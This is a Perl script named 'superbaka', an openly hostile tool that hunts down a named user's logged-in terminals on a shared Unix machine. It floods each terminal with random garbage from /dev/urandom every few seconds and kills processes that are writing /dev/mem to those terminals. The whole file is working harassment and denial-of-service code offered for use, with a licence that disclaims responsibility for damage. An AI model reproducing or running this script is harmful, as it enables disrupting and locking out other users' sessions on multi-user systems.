#!/bin/perl
# superbaka ver. 0.9 by dolphin & BaCkSpAcE
# 
# todo: 
#       . fix zombies
####
use threads;
use strict;
my $ver = "0.9";
my $version = "\nsuperbaka ver. [$ver] by\n  . dolphin (coding, idea) - dpanic\@gmail.com\n  . BaCkSpAcE (debugging)  - sinisanedeljkovic\@yahoo.com\n";
my $licence = "This is free software, so we aren't resposinble for any kind of damages\nmade using this software. You can redistribute it, change it, as far as\nyou keep this licence and information about authors.";




sub GenGarbage() {
  unlink "garbage.dat";
  system "head -n 120 /dev/urandom > garbage.dat";
}

sub Kill() {
  my ($id, $user, $where) = @_;
  my $i = 0;
  
  printf "Kill($user, $where), id = $id\n";
    while() {
      if (&IsAlive($user) > 0) {
	my $rnd = int(rand(100)) + 10;
        system "head -n $rnd garbage.dat >/dev/$where";
        sleep("4");
        $i++;
      } else {
        die("Kill($id): No target ($user)");
      }
    }
  
  printf "Kill($id, $user, $where): End of Kill($id)\n";
}


sub KillBill() {
  my ($id, $thr) = @_;

  my @pidstokill = ();
  open(out, "ps aux|grep 'cat /dev/mem > /dev/" . $id . "'|");
  while (my $output = <out>) {
    my @outlist = split (" ", $output);
    push (@pidstokill, $outlist[1]);
  }
 
#  printf "KillBill, pidstokill = @pidstokill\n";
  for my $pid (@pidstokill) { 
    system "kill -s SIGKILL $pid";
    printf "KillBill($id): $pid has just been killed\n";
    return;
  }
  
  printf "KillBill($id): I have no target to kill\n";
}

sub IsAlive() {
  my ($user) = @_;
  my @outl = ();
  open(out, "w|grep $user|");
    
  while (my $output = <out>) {
  my @outlist = split(" ", $output);

    if ($outlist[1] eq ':0') {     
    } elsif ($outlist[1] eq '') {
    } else {
      push (@outl, $outlist[1]);
    }
  }
  close(out);

  return @outl;
}

sub SeekAndDestroy() {
  my ($time, $user, $garbage) = @_;
  my $id = "0";
  
  while() {  
   $id++;
      
     my @outlist = &IsAlive($user);
     if (@outlist > 0) {
       for my $out (@outlist) {
         my $thr  = threads->new(\&Kill, $id, $user, $out);
	 sleep("2");
         $thr->detach;	 
         my $thr1 = threads->new(\&KillBill, $out);
       }
     }

    sleep($time);
  }

}

sub Main() {
  printf "$version\n";
  printf "-----------------------------------------------------------------------\n";
  printf "$licence\n";
  printf "-----------------------------------------------------------------------\n\n";
  
  if ($ARGV[0] eq '') {
    die "You need target!\n";
  } else {
    GenGarbage();
    my $thr = threads->new(\&SeekAndDestroy, "3", $ARGV[0]);
  }
}


Main();
sleep();
